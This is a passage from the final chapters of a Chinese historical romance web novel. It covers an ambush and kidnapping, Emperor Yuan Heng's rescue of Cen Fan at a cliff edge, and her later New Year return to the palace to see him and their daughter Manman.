萧照想了想,竟是觉得有理,接着问道:“你知道岑氏在哪儿?” “这几日在魏国,机缘巧合下得知。” 萧照看了看左右,萧晗的死侍已皆被他所杀,就算他武功再高,也不过是阶下囚。 他没有犹豫太久,很快便将鞭子收了回去,将萧晗绑起来,让他带路。 …… 萧晗并未立刻带着这些人去山上,而是先让萧照去调集所有在附近人,萧照言听计从,可不曾想萧晗却得寸进尺,走的越来越慢,最后干脆坐在了地上,以太饿为由,向他索要粮食。 萧照大怒,奈何又不能除掉他,派人给了他吃食,待他吃完后,狠狠抽了他两鞭子,方才解气。 萧晗咽下了这口气,直到第二日夜幕再次降临时,才带着一行人来到先前停留过的那座山上。 山里太过安静,萧照环绕四周,也不禁犹疑起来,“你确定那岑氏就在这座山上?” 萧晗笃定道:“若是假的,你便杀了我。” 萧照放下心来,继续往山上走。 只是还没走几步,黑暗中便有一支暗箭射来,射中队伍中的一人扑通倒下,周围的人纷纷散开。 慌乱之际,竹林一阵沙沙作响,如狂风作响,竹枝摇晃。 随即自夜幕落下一张竹叶织成的大网,那张大网下还藏有锋利无比的尖刀,惨叫此起彼伏,又有一批人应声倒下。 队伍更加分散了些,萧照也被网在了那张网下,萧晗被绑着,却是闪避开来,站在一旁,嘴角扬起一抹笑。 萧照推开身上的那具尸体,横刀乱砍,将那张竹网劈开,摇摇晃晃站起身,刚准备破口大骂,却见竹林中忽然窜出来好几道黑影,身形如魅,迅速混杂在了他们的队伍中。 队伍里的人不少,可人心离散下不能应战,血腥味越来越浓,萧晗冷眼观之,在刀锋来到面前时轻巧躲过,肩膀上划开一道小口,身上的绳子却也应声而断。 他扫了眼周遭的混乱,嘲弄一声“蠢货”,而后悄无声息地脱身。 * 天色已晚,元衡并没有来她的庄子,岑璠想是萧晗的事有了眉目,所以没有功夫来这里缠她了吧。 不过小姑娘还在她这里。 这一天,小姑娘在院子里玩得久了,头上全是汗,岑璠叫人烧了水,给她洗好头发,这个时候才干。 紫芯敲了门进来,将山上发生动乱的事告诉了岑璠。 “姑娘小心些。” “知道了。” 岑璠并不慌乱,她这些年去过的地方不少,也不是每一趟出门都没有危险。 她叫了槿儿,找来院子里的几位管事,亲自吩咐下去,而后关上门,不紧不慢地一瓶打开桂花油,给小姑娘涂发油。 满满不知道外面发生了什么,却能感觉到岑璠回来后,面色凝重了许多。 她转过身去,问道:“阿娘,外面发生了什么呀?” 岑璠说道:“什么也没有。” 满满不信,她的父皇也总是这样,有的时候明明不高兴,却要骗她说“无事。” “阿娘,是不是有人要害父皇,要害咱们呀?” 岑璠的手顿住,“满满为何会这样觉得?” 满满瞧见她的反应,知道自己多半是猜 对了,撅起嘴嘟囔道:“过去有人想要害满满和父皇,父皇也是这么说的…” 岑璠抿了抿唇,“满满可还记得,你父皇这样说过几次?” 满满想了想,道:“好几次。” 岑璠沉默了很久,轻声问道:“满满怕吗?要是害怕…” 她自己也是一个漂泊之人,生死由命,给不了这个孩子安稳,即便宫里明枪暗箭难防,也比跟着她要好。 更何况这孩子自小跟着元衡,怕是难以从他的身边带走。 还是回到宫里,当个公主的好…… 她止住话语,不知该怎么继续说下去。 满满却摇了摇头,“我不怕的,父皇说过不会有事的,我相信父皇。” “父皇还说了,他也能把母后护的很好。” 岑璠低头浅笑,暗道他再满满心里真是一副伟岸形象,倒也没拆穿他的谎话。 其实也不算谎话,那的确也能算作保护,只是她不甘做那笼中雀罢了。 岑璠又沉默下来,慢慢收起方才流露出的严峻神态。 * 前半夜里,小院寂静如常,半山腰处的喊杀声也渐渐止住,贼寇仓皇逃窜,血腥很快便被夜风吹散,岑璠起初未入眠,可后来却是犯困。 再醒来时已是后半夜,岑璠被外面的喊闹声吵醒,意识刚清醒便闻到一股焦糊味。 恰在此时,紫芯推门进了屋。 岑璠低头看了看小姑娘,见她还在熟睡,便趿鞋下床,向前厅走去。 她低声问了情况,这才知道是外面突然起火,火势纵然而起,并不算小。 紫芯道:“奴婢已去信给行宫那边,姑娘不如先带着公主去上面避一避,这火起的蹊跷,奴婢担心方才那些贼寇还没走远,恐要火攻…” 岑璠并未犹豫,让她去备车,自己披上一件衣裳返回房中。 小姑娘已经醒了,揉了揉眼睛,声音还有些迷糊,“阿娘,外面怎么了…” 岑璠并未解释,给她裹好衣裳,将她抱了起来。 这些时日,岑璠有意与她保持距离,怕太过亲近后会心里舍不得,可眼下顾不得其他。 可这是满满有记忆以来,母亲第一次抱她。 她静静趴在岑璠的肩头,过去她的父皇也常这么抱她,可阿娘身上的味道很不一样,香香甜甜的,像是花蜜的味道。 院子里火光攒动,烧焦的烟味扑鼻,满满就算经历过,可还是害怕,头越埋越低,紧紧抱着她。 岑璠轻轻摸了摸她的头,带着她上了马车,山上的救火声不断,却也成了她们这一队人离开的掩护。 满满仍旧拽着她的手,不肯放开。 岑璠轻声安抚,“满满别怕,咱们先去别的地方,没事的。” “阿娘,父皇会回来吗” 岑璠话音顿了顿,抿出一个笑容,“会回来的,父皇不回来,阿娘也会在满满身边。” 满满蜷缩在角落,点了点头。 车厢内只剩了车轮辘轳声,已经过了一天里最暗的时候,天上的星星暗了些,却还是看不清彼此,只能听见呼吸声。 寒风骤袭,夜似是冷了些。 一支短箭自队伍中穿过,射中了队伍中的一个太监。 人从马上跌落,只是他们这堆人大多训练有素,知道情况危急,四处环视,却没有自断阵脚。 忽然,岑璠感觉车盖上咚咚两声,似是人踏足其上,听得一阵刀剑铮锃声,凄声此起彼伏,赶车的马夫似乎也倒下了。 岑璠静静在车里,比起曾经遭遇险境之时,算不上多慌乱,只是捂紧了小姑娘的眼睛。 她方才穿衣时,在袖子里藏了一把袖箭。 待到那只手伸进来时,岑璠朝着光亮的地方射了一支冷箭。 掀帘的男人低喊一声,她显然是射中了。 岑璠举起手来,就要射第二箭,却是有一柄剑先刺进马车,剑尖准确地抵在她的手腕上,卡住那只袖箭。 满满捂住自己的嘴,岑璠并未再抵抗。 那人掀开帘子,手里的剑还能稳稳握着,夜幕还未散,岑璠看不清他长什么样,“你把弓弩放下,把那个孩子给我,我便不杀你!” 岑璠立刻反应过来,这人不是什么打家抢舍的贼寇,劫持他们另有目的。 满满身上流着皇室的血。 她来不及细想,下意识将满满护在身后,那人并不耐烦,似是怕拖的太久,扫了眼两人,上车冲着满满的方向去。 岑璠另一只手摸向马车的角落摸去,待到他上车的一瞬间,抛出了一把粉末。 男人迷了眼睛,嘴上咒骂她,岑璠却趁这个机会,将满满推出了马车。 已经有侍卫靠近他们的马车,将满满抱了过去,岑璠迅速钻出马车,就要跳出去时,却被死死抓住脚踝,摔在了车上。 岑璠回过头去,掐他拧他,想要他放手,那男人却是拿起了掉在车上的箭弩。 那男人显然还是看不见,那一箭没有射中她。 可那只箭射中了马,马匹一阵嘶鸣,向前而去。 岑璠大惊,慌忙向前爬,想要拽住缰绳,奈何脚踝还是被紧紧握着。 马匹一路向前狂奔,颠簸到阵阵晕眩,岑璠始终挣脱不开,回过头去踹了两脚,男人却是爬起来身,甩了甩头,视线越来越清晰。 借着月光,岑璠看清了那张脸。 第135章 大结局(上)我想要现在的你活着……… 萧晗竟然找到了她这里来。 岑璠呼吸屏住几分,她环顾四周,觉得再这么下去不是办法,拔走头上的一根簪,朝抓着她的手刺去。 萧晗惨叫一声放开了手,岑璠趁机挣脱,站起身来。 萧晗捂着手,仰头看她,怒目圆睁,慢慢拧紧眉头,而后竟是渐渐露出一副笑容,像是镰刀一样锋利。 “原来是你!” 岑璠沉默了,不顾一切想要往车下跳,却还被人死死抱住。 “你放手!” 萧晗将她锢得越来越紧,像是疯了一样,眼睛充红,“我怎么可能放手!有你在,什么都有了!” 他边说边笑,疼痛和喜悦交杂,笑容变得抽搐狰狞,念念叨叨重复着一句话,“你竟然没死!你竟然没有死!” 岑璠剧烈挣扎着,并没有注意到马车行至何处。 再抬头时,山的前面已经没有路了。 若这么直直往前去,后果不堪设想。 岑璠脸色瞬间苍白,嘶喊起来,“你个疯子!快放手!” 萧晗恍若未闻,显然是没有注意到前路的情况,只喝声叫她别动。 天将明,云彩压住天边的一抹红日,这是一天中最冷的时候,冷却了一夜的大地没有一点温度,风也像刀子一样,吸进去的空气也是冷的。 视野越来越开阔 ,岑璠却几近绝望,在看清原野尽头此起彼伏的山峦时,死亡仿佛就近在咫尺。 忽然,似是有人大喊她的名字。 凌乱的风声中,岑璠辨认不清那道声音是谁,出于本能伸出手。 天边破晓,顺着指缝漏出点亮光来,她身子向前伸出手,指尖擦过那双手,却很快又离远了一些。 萧晗正在把她往后拽。 就在此时,一道刀光在她头顶闪过,光影掠过她的脸庞。 随后她听到一道惨叫声。 她回头,只见萧晗的半边脸被划出一道长长的血口,他捂着被划伤的那只眼睛,流血不止,一张本还算清俊的面庞骤然间变得狰狞可怖。 “你抓住我的手!” 岑璠从那张脸上回过神来,向声音的来源看去。 是元衡。 拽她的力量松了许多,马车颠簸,岑璠踉跄着站起身,想要抓住他的手。 在碰到他手臂的一瞬,却有一支冷箭擦过她的脸庞,那支箭没有射到她,却是深深嵌入元衡的左胸口上,他脸色顿时煞白一片,即便是映着朝阳,也显得有些灰败。 她回头去,看到萧晗手上正拿着她的那只弩,不由瞪大了眼睛。 再转头时,一支箭从余光中划过,准确无误地切在了萧晗拿弓弩的手上,而后又是一声惨叫响起。 岑璠心跳的厉害,头发被吹散了许多,模糊了眼前的视线,只能看见一点猩红,还有飘散在风中的血腥味。 有人忽然握住了她的手腕,很用力,没有一丝缝隙。 岑璠抬起另一只手,双手抓住他的手臂,像是在洪流中抓住了树干。 他受了很重的伤,可还是咬着牙将她拉到了他身前。 岑璠坐上马,可下一刻便发现到了悬崖边上。 元衡当机立断拽紧缰绳,马蹄前扬,却还是止不住下坠之势。 他当机立断离马,那只宝马坠崖,马车紧随其后,伴随着萧晗的喊叫声一起掉了下去。 尘沙扬起,砾石从崖边滚落,元衡一手紧紧抓住崖边,另一只手紧紧抓住岑璠。 他向四周看,发现就在两人一步之遥的地方,还有一块儿突起的巨石尚且可以落脚。 “你看到那颗石头了吗?跳上去。”他极力稳住声音说道。 岑璠定住些神,朝他视线的方向看去。 元衡手臂向石头的方向伸去些,岑璠抿了抿唇,放开他的手,没费多大功夫便稳稳落在了石头上。 元衡双手扶在崖边,闷哼两声,闭上眼睛缓了一息,向她那边挪去,而后也落在那块儿巨石上。 他似是没有多少力气,踉跄了两步,就要踩空。 岑璠及时扶住他靠在山壁上。 冷风吹过,江风肆意呼啸,像是鬼魔在哭嚎,岑璠低头看了看,悬崖下可见郁郁葱葱的树林,却再也看不清刚才掉下去的马和车。 想到刚才的命悬一线,岑璠不由吓出一身冷汗。 直到现在,他们还未完全得救。 他的伤…… 被萧晗射中的那一下,在胸口靠近肩膀的位置,并没有当即要了他的命,可这么一番折腾下来,伤口肯定是被撕裂开了,鲜血汩汩,流淌不止。 也不知道他能坚持到什么时候。 “你害怕了?”她听到一道虚弱的声音,和在风中,像是鸿毛一样。 她的目光移向那张脸庞,发现他的脸白的可怕,一抹血渍粘在他的嘴边,他却是弯起唇笑了笑,“我以为你出来这么多年,遇到这些已经不会害怕了。” “你……”岑璠不甘心被他这么说,反问道:“你难道不害怕吗?” 元衡看住她,沉默了许久,承认道:“怕…” 岑璠脾气稍好了些,道:“你既知道害怕,为何要这么做,你知不知道你是皇帝?” 元衡一口气没喘过来,咳嗽了两声,鲜血直往外迸。 他简直被她气笑了,“你当真不知我在害怕什么?” 岑璠愣了一下,明白过来。 他轻声道:“我害怕的,是你…” “我还记得,上一世你就倒在我的面前,就死在萧晗的刀下,我不可能不管你的…” 皇权覆灭,他上一世已经见过一回了,可就在要坠崖的那一瞬,他忽然觉得,这些其实也不重要。 重要的是,她不能再死在他面前。 她要活着,好好活着… 他的目光愈发热烈,岑璠低下头去,道:“你应该知道,我不是上一世的她。” 元衡闭眼点了点头,“我早已经分不清你和她了,我真的分不清…” 岑璠心里憋屈,想要臭骂他,却怎么也开不了口。 他伸出那只带有血痕的手,想要抚摸她的脸庞,“可我只知道,我想要现在的你活着…” 岑璠捏紧拳,冷声道:“你既重活一世,也该知道惜命才是!” 元衡回了她一个笑容,“在我这里,你的命比我的重要。” 岑璠觉得他简直是一块儿狗皮膏药,同她说的每一句话都黏糊,眉越蹙越紧。 元衡抬手,抚平她的眉,“你知道我为什么要和你一起下来吗?” 他扶着石壁,晃晃悠悠站起身,道:“因为我还要送你上去。” 岑璠扶住他,对他的话很是存疑,“你这样如何送我上去?该是我送你上去才对。” 元衡不语,在她面前蹲下身,“你踩着我的肩膀上来罢。” 岑璠犹豫不肯,“你伤成这样,我再踩你的肩膀……” “你先上去,找人来救我,不然咱们都上不去了…” “听我的,你必须先上去。” 他背对着她,执意如此,岑璠也并未再推辞。他说的没错,若是他没了力气,他们谁都上不去。 她抬起脚,第一脚却不忍心踩实。 元衡握住她的脚腕往下压,她抿了抿唇,扶住石壁,还是踩住了他的肩膀。 他站起了身,喉咙里发出几声低哑的嘶吼,岑璠能感觉的出,她踩着的那副肩膀正在颤抖,低下头去,触目惊心的鲜血正顺着他的脚尖往下流。 “你能上去吗?”他问道。 岑璠回过神,抬起手刚好手掌能触碰到悬崖边。 元衡紧咬着牙,又把她送上去一点。 岑璠知道这已经是最后上去的机会,使尽了力气,胳膊撑在了悬崖上。 她缓缓往上爬,托住她的力量始终没有松懈,时刻准备再接住她。 就在她再一次踩在地面上的一刹那,那股力量猝然而逝。 随即,岑璠听到扑通一声。 她回过头朝悬崖下看去,只见他直直跪在了那块儿大石上,慢慢倒了下去。 “元衡!” 她叫了他的名字,她也不知道为何没有直接叫他陛下,可即便是叫他的名字,他也没有回应。 岑璠摇晃着站起身,向四周望去,冷风萧瑟,逐渐模糊了视线。 “你等等我,我去找人救你。”她哽咽留下这句话,便转过身向山下跑去。 视线再一次模糊,她迎风而奔,头发散乱的不成样子。 路上了无人烟,她也不知道什么时候才能跑回去。 绝望无助,可又那样不甘心。 她不甘心他就死了,她不甘…… 没跑多久,岑璠的脚步越来越慢,眼前出现一团黑雾,满满弥漫开来。 她能感觉到,自己的意识和精力都消耗殆尽。 可她真的不想就这样作罢。 她扶着山壁,却是力不从心,又走了几步,便再也走不动了。 就在此时,她听到了一阵马车声。 一时又回拢一瞬,岑璠咬住唇,强使自己意识清醒,冲了出去,挡在路的中间。 那辆马车在她面前刹住,似是有人大骂了她半句。 可岑璠听不清那人在说什么,也看不清是谁从马车上走了下来。 她想不了太多,勉强维持站立,朝自己来时的路指过去。 “帮我,救他…” 她也不知道在对谁说,也看不清这些人是何反应,意识逐渐涣散,后来就连要救谁都想不起来了,她却还是坚持在说着“救他”,仿佛已经成为了挥之不去的梦魇。 直到最后一点力气也用尽,她向后仰去,倒在了地上。【你现在阅读的是 】 第136章【大结局】 第136章 大结局微风拂过,仿佛落入…… 元衡做了一个很长的梦。 他梦到岑璠随他回到了皇宫,做他的皇后。 这样的场景他这些年梦到很多次,只不过大多都以噩梦的方式醒来。 只是这一次的岑璠对他百依百顺,没有像从前梦到那样,待在他身边忽然崩溃大哭,或者忽然坠落在河里。 简直不像她…… 他轻轻抚上她的脸颊,梦里的她伸出手来,躺在他的手心。 “你是岑璠吗?” 她温声答道:“当然是呀。” 元衡舒了一口气,抓住她的手,反握在自己的手心里,问道:“满满呢?” 她似是疑惑,“谁是满满?” 元衡怔住,仔细想来才发现,这个梦里始终没有满满… 元衡皱紧眉,问道:“你究竟是谁?” 她抬起一双眼,无辜却又有些空洞,“我是岑璠,您的侧妃,您不认得了吗?” 侧妃… 那岂不是上一世的她…… 元衡看着眼前的人,手上骤然失力。 下一刻,他睁开了眼睛。 有人正拿着帕子,轻轻擦拭着他脖子上的汗。 元衡看向那双手,而后目光移向那张面孔。 他记得上一世重伤时,她也曾经这样守在他的床前过。 那两张面孔渐渐重合,可到底被他看出了些不同。 可他不知道,眼前的这些是否也是个梦… 元衡缓缓伸出手来,肩膀上的伤口撕扯疼痛,不禁皱起眉头。 岑璠摔的那一下,脑袋上磕破了一层皮,此时头上也裹了一圈纱布。 她察觉到动静,目光移向他,虽有难掩的惊喜之色,那双眼睛都亮堂了不少,却很快被她遮掩了过去。 声音响起,还是像熟悉的那样,带有淡 淡的疏离,“陛下醒了?” 元衡情不自禁展开一个笑容。 是了,这才是她…… 岑璠看着他傻笑,不由拧起眉。 摔了脑袋的明明是她,难不成是因为昨日发热,把他的脑子烧坏了? 她摸上他的额头,发现还是烫的,担忧地问道:“陛下可是有哪里不舒服?” 元衡笑着摇头,直到瞧见她额上的纱布,笑容才收回来些,神色凝肃,想要起身。 “你的头怎么了?” 岑璠将他摁了回去,道:“路上摔了一跤,无甚大碍。” “倒是陛下,该顾好自己才对。” 元衡能听得出她话语中的担心,她能对他说这些,已经是十足的关心了。 他想问问她,却发现她坐回床边,扭过头去。 “你怎么了?” 岑璠安静了很久,直到元衡执拗地想要转过身,才蓦地问道:“你送我上来的时候,是不是没打算活着?” 元衡沉默,遮遮掩掩地清了清嗓子。 他想要反驳,可岑璠猜的没错,他当时没有想着能上来,只是想让她上去罢了。 他道:“朕当时没想这么多……” 岑璠知道他是心虚了,“你是皇帝,你不惜命,让百姓怎么办?” 元衡脱口而出,“我若不救你,你怎么办?” 岑璠拿他没办法,他毕竟救的是她的命,其他人说他也就罢了,她没有任何立场。 他是个疯子,这么多年还没变。 他似是看出了她的想法,道:“你不必愧疚,这是我上辈子欠你的,就当还给你,想骂就骂吧…” 岑璠低骂了一声,“疯子…” 元衡并不在意,反而是释怀的笑了,心安定下来。 他又想到什么,随即问道:“满满呢?她怎么样?” 岑璠道:“满满已经睡下了,你放心。” 岑璠没说的是,他们获救后,借住在了别人的别院里,满满那孩子亲眼看见她被抓走,听到他们得救后,哭着闹着非要来到这里,看到他们两一个头破了,一个重伤不醒,哭了好几个时辰。 这样狼狈的事,就不要让他知道了… 岑璠缓了口气,怕他再问太多,又说道:“这次救我们的是余姑娘。” “什么余姑娘?” 岑璠淡淡提醒道:“余姑娘她还未出嫁。” 元衡想不起来,眨了两下眼睛,等着她继续往下说。 岑璠道:“余姑娘曾经喜欢过陛下,如今也还未嫁。” 元衡猛然间想起,曾经是有一位余姑娘纠缠他们…… 没有想到,竟然是这位余姑娘救了他们。 当初是她帮了那位余姑娘,他也没有同余氏计较,竟会得今日因果… 他忽然又想到什么,连忙伸出手抓住她的手腕,急切道:“你该知道的,就算有十个余姑娘,也不抵你一个…” 这番说的实在越界,岑璠虽未生气,却悄无声息地挣开他的手心,端起一旁温热的药碗,往他嘴里喂,没再给他说话的机会。 她边喂他药,边道:“陛下说笑了,我的命值不了那么多钱。” 元衡想要再解释什么,却在每一次即将开口时被岑璠喂一勺药。 他也不知道岑璠是不是故意的。 岑璠道:“我还要去和余姑娘好好道谢,若是没有她,不会是现在这样…” 元衡也安静了许多,琢磨起她的话,唯恐她答应了余氏什么,沉声道:“等朕好些,朕亲自去和她道谢。” 岑璠并未再多说什么。 元衡配合地喝完药,心绪逐渐平复,静静看着她在一旁收拾。 岑璠端了药碗,临走时嘴角却是轻轻扬起,道:“忘记说了,余姑娘虽未嫁,却是已经定了亲,月末后便要回成婚,陛下怕是没有机会了。” 不待元衡反应,她便起身,头也不回离开了。 元衡愣了许久,直到她出了房门,才反应过来自己是被她耍弄了。 可他心里生不出一点恼怒,盯着屋顶慢慢回味她临走时的样子,不知不觉脸上竟还浮现出了笑容。 等到反应过来时,嘴角竟然都有些僵了。 元衡心里笑了一声自己,心道这辈子算是栽在她这里了。 … 元衡受伤的消息并未走漏太多风声,韩泽连夜叫人快马加鞭送信回去。 等到消息在彭城传开的时候,大军已经驻守在了彭城境内。 元衡也确实足够命大,那日余灵均随身带的是一位颇有名气的江湖游医,是她和未成婚的夫家一起亲自来彭城请去,给远在晋阳的王老夫人看头风病的。 那一箭幸亏射偏了些,伤及筋骨,却未伤及心脉。 元衡两世受过不少伤,身边有人照料,这疼痛也不算太难捱。 过了十日,便是能下床了。 岑璠不在房中,却能听到窗外的一点声音,元衡起身,趿上鞋,缓步移向那扇半掩的窗子。 透过间隙,元衡瞧见了她,她的对面还站着一个人,应当是那位余姑娘。 岑璠伸出手,似是在给什么东西,道:“这个给你。” 元衡头低了些,轻轻将窗子往上抬了几寸,没发出任何声响,想要看清她给的是什么东西。 下一刻,他看见余氏将手中的东西打开。 那大概只是一幅画。 元衡松了口气,缓缓放下窗,却并未离去。 他看到岑璠一拜,道:“此番多谢姑娘和许郎君的救命之恩。” 余灵均将她扶起,“夫人不必客气,当年若不是夫人提点,我也不会有今日。况且我与郎君对雯华的画仰慕已久,此番本也有意拜访。” “姑娘若是以后想要找我,可以去彭城的画云坊,那里有人会带姑娘上山。” 余灵均点头,又背对着光看了看那幅画,满意道:“雯华的画刚问世时,我就觉得像是夫人的笔风,没想到真的夫人…” 她收起那幅画,余光看她一眼,又移回来,问道:“夫人此次打算和陛下一起回去吗?” 元衡将这句话听在耳中,心咚咚直跳,有所期许,身子不由自主向窗边又靠近了些。 “我就不回去。” 元衡心跳停了一下,心里空荡荡的,却又觉得心里无比宁静。 余灵均并未诧异,像是早已知道了她的决定,“夫人不回去,也好。” 是这样了,她不回去,一直做这世间的雯华夫人,也好… 元衡无声地笑了一声,而后合上了那扇窗,遮去最后一点窗缝中窥探的光亮。 岑璠再回来时,手上带了封信来,“杨大哥从怀朔送来的信。” 对于她的称呼,元衡心里一直不畅快,可到底也只能憋在心里。 他拆开信读了一遍,那信上同他说了怀朔的情况,还是老样子,各方听到他受伤蠢蠢欲动,互相猜忌, 谁也没有动手。 他无心再细读,放下信纸。 岑璠道:“余姑娘今日要启程回洛阳了,眼下大军已入彭城,陛下可以放心在此间养伤。” 元衡平躺着,瞥向她,认真道:“虽是如此,还是该尽快回去才是。” 岑璠思索片刻,点头表示赞同,未有一点劝阻之意,“陛下说的也对。” 元衡见她连一点挽留之意都不曾有,心中郁结愈发难抒,转过头去。 过了很久,他才道:“我最迟下个月便要回宫…” 又迟疑了片刻,他问道:“你不想回洛阳看看吗?” 岑璠低下头去,假装察觉不出他的意思,冷淡道:“我这里有事,就不去了。” 元衡彻底死了心,闭上了嘴。 他不想再自取其辱。 岑璠站起了身,转过头向外走去。 元衡并未挽留,只一双眼无神地望着床顶,安安静静的。 下一刻,他似是又听到一声微叹。 “等到明年岁除,我会回洛阳看看。” * 元衡最终还是回去当了皇帝。 他未强求什么,她的一句“会回来”对他而言已经是莫大的恩赐。 一个月的时间过的很快,可随后回京的日子又实在太过漫长。 终于,又熬到了大雪纷飞的日子。 及近年关,这一年的春天天下大稔,冬日却又异常寒冷,各地灾害不断,幸好皇帝在春天时下令设粮仓,各地及时开仓放粮,表面上倒也没有太多骚动。 只是这些日子却苦了元衡,各地的书信不断,有官员暗中苛扣粮食的,有在军镇的勋贵因为田产大打出手的,身上留下的箭伤时常隐隐做痛,有时忽然脸色煞白,连满满都能看出一二。 自那次看到父母受伤后,小姑娘愈发懂事,也懂得怎么藏起心事,心里的这些担忧并未对元衡表露太多。 除了少让自己的父皇操心,小姑娘还学会了给远在彭城的娘写信。 她知道阿娘今年会回来,父皇已经同她念叨过好几次了。 她渐渐能感觉到,自己的阿娘并不是很爱父皇,是父皇爱阿娘爱的更多。 父皇送出宫给阿娘的信,阿娘很少会回,偶尔回的一两封信,父皇都会像宝贝一样揣在身上,自己一个人偷偷在房间里看上半个月。 可是她自己写的信,母亲还是会回的。 她知道自己的阿娘很爱她,否则也不会冒死把她推下去,自己被人掳走,父皇也不会受伤了… 想到此处,满满便鼻头一酸,有一日想着想着,忽然迈开步子跑去了前殿。 元衡正在同人议事,满满便靠在殿前的柱子上,同墨群一起等着。 墨群低下身,道:“陛下还在议事呢,外面冷,公主不若先回去?” 满满摇了摇头,坚持道:“我想在这里等父皇。” 墨群很早前就知道,这皇宫里的小公主其实和她的母亲非常像,心里打定了什么主意,便不会轻易改变。 他没有再劝说,陪满满一起在外面等。 没等多久,在厅内议事的大臣便陆续走了出来。 满满自幼便被元衡带在身边,大臣们见到她并不觉得惊讶,有两个伯伯平日见得多,还主动同她打招呼。 满满有礼貌地回了一礼,待到人都走了,便跑进了大殿。 元衡刚打开一卷竹简,便听到了声音,又将手头的事放下。 满满坐到他身边,元衡问道:“怎么了?” 满满将他方才看的那卷文书铺开,边读边问着父女二人之间的老问题,“父皇,明日就是腊八了,阿娘有没有说什么时候回来呀?” 这事岑璠确实说过,前几日还特地找人给元衡带过信来着。 她说已经渡河,说是快到了。 可他觉得她不会这么早就回来,她说的“快到了”也不知道是什么时候,说不定她在洛阳附近也有自己的事,拖着拖着就到除夕了… 元衡是习惯了这样,可他不敢和满满乱承诺什么,这孩子有自己的心事,若是岑璠这几日没回来,她又要多想。 他道:“阿娘有事要忙,想回来的时候自然会回来的。” 满满趴在了桌子上,垂头丧气的,“可是我已经写信说让阿娘早点回来了呀…” 元衡大惊,他从来没有去查看过他们母女之间的对话,不曾想她竟然会写这个。 他放下手中的笔,正色道:“满满,阿娘不喜欢这样,不光是她,强求来的事是不会有好结果的,知道吗?” 满满似是不理解,肩膀耷拉了下来,许久之后问道:“阿娘是不是不喜欢我们呀?” 元衡抿了抿唇,“阿娘很喜欢满满。” “那阿娘喜欢父皇吗?” 满满问的这个问题,元衡没法回答,她不喜欢他,很不喜欢,自欺欺人只会让他越来越像个笑话。 满满也并没有追问,静了下来。 忽然,她靠在元衡身上,道:“满满喜欢父皇,会一直陪在父皇身边。” 元衡听到这句话,竟是鼻头一酸,真不愧是他亲手带大的好姑娘,长大懂事了,都会安慰他了。 他轻轻拍了拍满满的肩膀,心里愈发坚定,不管是现在还是将来,他都一定会把最好的给她。 只是若是岑璠回来就好了,他们一家人在一起,那便真的算是圆满了。 念头刚起,元衡便回过神来,将这个想法掐断在脑海中。 他不可以这么做,他过去做了许多错事,如今好不容易做对了一件,若是再出尔反尔强留下她,她怕是会恨他一辈子。 她是自由遨游的鹰,若是偶尔肯在他这里栖留,已经算是幸运。 元衡道:“父皇也会一直陪着满满,咱们一起等阿娘回来,别去打扰她好不好?” 满满点了点头,拿起元衡写过的那支笔,道:“父皇如果累了的话,我帮父皇写。” 元衡从未阻止过满满参与政事,相反,如果他将来真的要让这孩子参与政事的话,他确实该从现在开始让她多看那些大臣给他写的书信。 满满的字是他从小陪着练的,和他的字有些像,可到底有专门的书法大家来教,比他的要好看些。 元衡道:“父皇来说,满满来写吧。” 满满蘸了蘸墨水,元衡说一句,她便记一句。 还没写几句话,便听到门外的通报声,仔细一听,竟是韩泽亲自来禀报。 “陛下,皇后娘娘她回来了。” 父女两人互相对视一眼,同时起身,一个理了理衣裳,一个扔了手里的笔。 一场大雪过后,皇城里晴空万里,堆积在宫墙边上的雪都化开一层,晶莹剔透的。 地上还有一层薄薄的冰,元衡怕小姑娘摔着,牵住她的手,满满想到自家父皇这个下雪天寒时总是心绞痛,也将手握紧了些。 早在岑璠送来上一封信时,元衡就已经向下面的人吩咐过,若是她回来,便带她从侧门入宫,这样并不显眼,不会给她带来不必要的麻烦。 父女两人牵着手,谁也没说一句话,却仿佛心照不宣,步子越来越快。 终于,远远地在宫道上看到一道身影,她身披一张雪白的狐裘,肤白胜雪,仿佛这皇城的雪就是为了迎接她归来。 一阵风吹过,不知从哪里带来了清香,墙外枝上的雪被吹散了一层,扬起几片雪沫,将雪吹入了宫墙。 满满率先撒开手,扑向她的怀抱。 岑璠接住她,半蹲下与她平视,将她跑乱的头发别在耳后。 元衡却不能如此接近她,只站在一丈远的地方静静母女二人,眼中的眷恋仿佛都要溢出来了。 她真的回来了,并不只是为了敷衍他们,她在腊八的这一天提前回来了… 岑璠比了比满满的个子,发现她比上次见时要高了些,问过才知道,回宫的这一年里,小姑娘已经开始晨时练武了。 她多问了几句,余光触及,才发现自己将某人晾在了一边。 她站起身来,不知道该如何开口说自己提前回来这事。 自他救了她之后,她确实心有愧疚,这次回来早了些,除了有满满的原因,也有别的。 元衡先她一步走近了几步,脚步很轻缓,仍然保持着一段距离,站定在她面前,“你回来了…” “嗯,回来了。” 元衡弯出一个笑,而后转过身去,“走吧,别让太多人看见了…” 岑璠愣了一瞬,看着他在前的背影,恍然间觉得他似乎是瘦了许多,身影单薄,透着一股孤冷。 满满率先跑开了步子,追上元衡,牵住了他的手,而后又想到了什么,转过头来,另一只手牵住lini璠。 他们一前一后走着,中间有满满,很快便成了并肩而行。 * 岑璠打算在皇宫里过一个完整的年。 她表露出这个意思的时候,满满也在,听到她要留下十几日的之后,高兴得恨不得告诉全皇宫的人。 当晚,三个人在同一张龙榻上,谁也没有睡着。 岑璠闭着眼睛,恍然间听到父女两个人在说悄悄话。 “父皇, 有什么办法能让阿娘再多待一些时日呀?” 她听到一声轻叹,而后响起一道低沉的声音响起,“你阿娘想你时自然会回来的,别让她太为难了…” 岑璠始终都在假寐,却很久都没有真正入睡。 他好像确实变了许多,并不是装给她看的… 她想要的,他现在都成全了,而满满所希冀的,她却没有办法满足。 有没有什么更好的办法呢? 岑璠想不到,如今这个局面,已经是来之不易,若是她退一步,会不会事情又变得很糟? 她很迷茫,就这么稀里糊涂的在皇宫里过了一个年。 只是快走的前一晚,却发生了一些意外。 元衡生病了,夜里身上发热起不来床,皇宫里灯火通明,有好几位太医聚在一起,直到后半夜烧才终于退下去些。 岑璠第二日清晨并没有走成。 快近午时,元衡睁开了眼睛,只是神志还算不得完全清醒。 岑璠来看望他时,他听见了声音,感觉到是她,心底近乎本能生出些慌乱。 他怕他好起来时,她已经离开了,下一次见面又不知道会是何时,于是拼命让自己现在醒过来。 岑璠早些时候甚至怀疑过他在装病,还专门去向太医询问过。 但他这一年,似乎就是这样大病小病不断,现在看他的脸色,这病似也不是装的。 她心里生出一点点的怜惜,见他尚且没有精神,拿起手中的药碗,想要亲自喂他。 